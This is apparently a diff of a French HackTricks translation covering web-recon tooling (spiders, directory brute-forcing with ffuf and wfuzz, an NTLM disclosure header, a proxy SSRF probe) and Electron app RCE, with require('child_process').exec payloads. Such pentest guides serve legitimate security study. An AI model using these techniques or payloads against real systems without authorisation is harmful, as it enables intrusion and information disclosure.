- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des providers externes (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouvera les URLs avec paramètres et les listera.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider avec rendu JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacités de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut valoir le coup de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints à la fois dans le source HTML et dans les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives depuis les fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble non maintenu.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Donné un fichier (HTML) il extrait les URLs en utilisant une regex astucieuse pour trouver et extraire les URLs relatives depuis des fichiers minifiés.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils): Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Trouve les fichiers JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un headless browser et affiche toutes les urls chargées pour afficher la page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de découverte de contenu mélangeant plusieurs options des outils précédents
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver paths et params dans les fichiers JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donné l'URL .js.map, vous récupérera le code JS beautifié
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisé pour découvrir des endpoints pour une target donnée.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvre des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et cherche plus de liens)
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (même en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spécifiques.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un GUI crawler/spider multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres données intéressantes depuis le code source JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramètres et endpoints** des requêtes afin de créer des wordlists personnalisées pour le fuzzing et l'énumération.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Outil excellent pour cela.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque link qu'il est capable de trouver.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go) : HTML spider, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : HTML spider, indique aussi les "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go) : CLI interactive HTML spider. Il recherche également dans Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas un spider mais peut être utile. Vous pouvez indiquer un fichier avec des hosts et un fichier avec des paths et meg ira fetch chaque path sur chaque host et enregistrera la réponse.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : HTML spider avec capacités de rendering JS. Cependant, il semble non maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
|
||||
- [**gau**](https://github.com/lc/gau) (go) : HTML spider qui utilise des fournisseurs externes (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script va trouver les URLs avec paramètres et les lister.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go) : HTML spider avec capacités de rendering JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : HTML spider, avec capacités de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut être utile aussi de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des endpoints dans le source HTML et les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives des fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble non maintenu.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML) il extraira les URLs en utilisant des expressions régulières pour trouver et extraire les URLs relatives de fichiers minifiés.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go) : Trouve les fichiers JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un headless browser et affiche toutes les urls chargées pour rendre la page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust) : Outil de discovery de contenu mélangeant plusieurs options des outils précédents.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Extension Burp pour trouver paths et params dans les fichiers JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Outil qui, donné l'URL .js.map, récupère le code JS beautifié.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Outil utilisé pour découvrir des endpoints pour une cible donnée.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvre des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et cherche plus de liens).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (même en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spécifiques.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go) : Package Go et [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres données intéressantes depuis le source JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **Burp Suite extension** pour **extraire les paramètres et endpoints** depuis les requêtes afin de créer des wordlists personnalisées pour le fuzzing et l'énumération.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil excellent pour cela.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go) : Affiche chaque lien qu'il est capable de trouver.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** ainsi que tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** en préfixant au début de la wordlist utilisée les noms des répertoires trouvés).\
|
||||
Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** en préfixant dans le wordlist utilisé les noms des répertoires trouvés).\
|
||||
Outils :
|
||||
|
||||
- **Dirb** / **Dirbuster** - Inclus dans Kali, **old** (et **slow**) mais fonctionnel. Permet les certificats auto-signés et la recherche récursive. Trop lent comparé aux autres options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche récursive.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet certificats auto-signés et recherche recursive. Trop lent comparé aux autres options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche recursive.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, supporte la recherche récursive.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donné la liste des URLs trouvées, supprimera les URLs "dupliquées".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour créer une liste de répertoires depuis l'historique Burp de différentes pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalités dupliquées (basé sur les imports js)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser.
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, donné la liste d'URLs trouvées, supprime les URLs "dupliquées".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Burp Extension pour créer une liste de répertoires depuis l'historique Burp de différentes pages.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Remove les URLs avec des fonctionnalités dupliquées (basé sur les imports js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon) : Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser.
|
||||
|
||||
Dictionnaires recommandés :
|
||||
**Dictionnaires recommandés :**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -268,41 +269,41 @@ Dictionnaires recommandés :
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être Brute-Forced._
|
||||
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouve des liens cassés dans les HTML qui peuvent être susceptibles de takeovers
|
||||
- **File Backups**: Une fois que vous avez trouvé tous les fichiers, recherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variantes communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, essayez de rechercher des paramètres cachés dans chaque fichier web exécutable.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker) : Trouve les liens brisés dans les HTML qui peuvent être susceptibles de takeover.
|
||||
- **File Backups** : Une fois que vous avez trouvé tous les fichiers, cherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variations communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, essayez de chercher** des paramètres cachés sur chaque fichier web exécutable.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
|
||||
- Si vous jouez un **CTF**, une astuce courante est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'espaces pour que vous ne voyiez pas les données si vous ouvrez le source avec le navigateur). Autre possibilité : utiliser plusieurs nouvelles lignes et **cacher des informations** dans un commentaire en bas de la page web.
|
||||
- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys pour différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Si vous trouvez une API key ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles apis la key peut accéder.
|
||||
- **S3 Buckets**: Pendant le Spidering regardez si un sous-domaine ou un lien est lié à un S3 bucket. Dans ce cas, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- **Comments :** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
|
||||
- Si vous jouez en **CTF**, une astuce "classique" est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le source avec le navigateur). Autre possibilité : utiliser **plusieurs lignes** et **cacher des informations** dans un commentaire en bas de la page web.
|
||||
- **API keys** : Si vous **trouvez une API key** il existe des guides qui indiquent comment utiliser les API keys pour différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys : Si vous trouvez une API key qui ressemble à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier à quelles APIs la key donne accès.
|
||||
- **S3 Buckets** : Pendant le spidering, regardez si un **subdomain** ou un **lien** est lié à un **S3 bucket**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
|
||||
**Pendant** le **spidering** et le **brute-forcing** vous pouvez trouver des **éléments intéressants** qu'il faut **noter**.
|
||||
|
||||
**Interesting files**
|
||||
**Fichiers intéressants**
|
||||
|
||||
- Cherchez des **links** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
|
||||
- Cherchez des **liens** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Si vous trouvez un _**.env**_ des informations comme des api keys, des mots de passe db et d'autres informations peuvent être trouvées.
|
||||
- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement à des fichiers.
|
||||
- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont été mentionnés. De plus, il serait intéressant de **monitor** chaque fichier JS trouvé, car parfois un changement peut indiquer qu'une potentielle vulnérabilité a été introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Vous devriez aussi vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
- Si vous trouvez un _**.env**_ des informations telles que api keys, mots de passe db et autres peuvent être trouvées.
|
||||
- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement à tels.
|
||||
- **JS files** : Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont été mentionnés. Il serait aussi intéressant de **monitorer chaque fichier JS trouvé**, car dans certaines occasions un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Vous devriez aussi vérifier les JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Dans plusieurs cas, vous aurez besoin de **comprendre les expressions régulières** utilisées. Ceci sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Vous pourriez aussi **monitor** les fichiers où des forms ont été détectés, car un changement de paramètre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalité potentiellement vulnérable.
|
||||
- Dans plusieurs cas, vous devrez **comprendre les expressions régulières** utilisées. Cela peut être utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Vous pouvez aussi **monitorer les fichiers contenant des forms**, car un changement de paramètre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalité potentiellement vulnérable.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -313,28 +314,28 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** essaiera d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF.
|
||||
Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** tentera d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Si le serveur en cours demandant l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **domain** **name**), vous pouvez provoquer une **information disclosure**.\
|
||||
Si le serveur qui demande l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **nom** de **domaine**), vous pouvez provoquer une **divulgation d'information**.\
|
||||
**Envoyez** le **header** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et à cause du fonctionnement de l'**NTLM authentication**, le serveur répondra avec des infos internes (version IIS, version Windows...) dans le header "WWW-Authenticate".\
|
||||
Vous pouvez **automatiser** cela en utilisant le plugin nmap "_http-ntlm-info.nse_".
|
||||
Vous pouvez **automatiser** cela avec le **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (le navigateur exécutera la redirection) mais quelque chose pourrait y être **caché**.
|
||||
Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas montré à l'utilisateur** (le navigateur effectuera la redirection) mais quelque chose peut être **caché** dedans.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier un grand nombre de vulnérabilités possibles. Vous pouvez trouver la checklist ici :
|
||||
Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la checklist ici :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Trouvez plus d'infos sur les vulnérabilités web sur :
|
||||
Trouvez plus d'infos sur les vuln web dans :
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -342,7 +343,7 @@ Trouvez plus d'infos sur les vulnérabilités web sur :
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de détecter des modifications qui pourraient insérer des vulnérabilités.
|
||||
Vous pouvez utiliser des outils comme [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages et détecter des modifications qui pourraient introduire des vulnérabilités.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Electron Desktop Apps
|
||||
# Applications de bureau Electron
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,21 +6,21 @@
|
||||
|
||||
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mécanismes de sécurité des navigateurs modernes.
|
||||
|
||||
Généralement, vous trouverez le code de l'application electron dans un fichier `.asar` ; pour obtenir le code, vous devez l'extraire :
|
||||
Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire :
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où les configurations de sécurité sont définies.
|
||||
Dans le code source d'une application Electron, dans `packet.json`, vous pouvez trouver le fichier `main.js` où sont définies les configurations de sécurité.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron comprend 2 types de processus :
|
||||
Electron possède 2 types de processus :
|
||||
|
||||
- Main Process (dispose d'un accès complet à NodeJS)
|
||||
- Renderer Process (devrait avoir un accès NodeJS restreint pour des raisons de sécurité)
|
||||
- Renderer Process (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines configurations permettront d'**empêcher l'application Electron d'obtenir une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** du fichier main.js. Certaines configurations empêcheront l'application Electron d'obtenir une RCE ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
|
||||
L'application Electron **pourrait accéder à l'appareil** via Node apis, bien qu'il soit possible de le configurer pour l'en empêcher :
|
||||
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
|
||||
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si `on`, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si activé, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
- **`contextIsolation`** - est `on` par défaut. Si `off`, les processus principal et de rendu ne sont pas isolés.
|
||||
- **`preload`** - vide par défaut.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par défaut. Il restreindra les actions que NodeJS peut effectuer.
|
||||
- Intégration Node dans les Workers
|
||||
- **`nodeIntegrationInSubframes`** - est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **désactivé**, alors les preloads se chargeront dans l'iframe
|
||||
- **`nodeIntegrationInSubframes`**- est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans les pages web **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **disabled**, alors les preloads seront chargés dans l'iframe
|
||||
|
||||
Exemple de configuration:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Quelques **RCE payloads** provenant de [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Quelques **RCE payloads** depuis [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -103,7 +103,7 @@ Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez la faire exécuter du code javascript arbitraire. Consultez comment dans :
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible de la faire exécuter du code javascript arbitraire. Voyez comment dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ Si vous pouvez exécuter localement une Electron App, il est possible que vous p
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
||||
Si la **nodeIntegration** est réglée sur **on**, le JavaScript d'une page web peut utiliser les fonctionnalités de Node.js facilement simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Le script indiqué dans ce paramètre est c**hargé avant les autres scripts dans le renderer**, il a donc **un accès illimité aux Node APIs**:
|
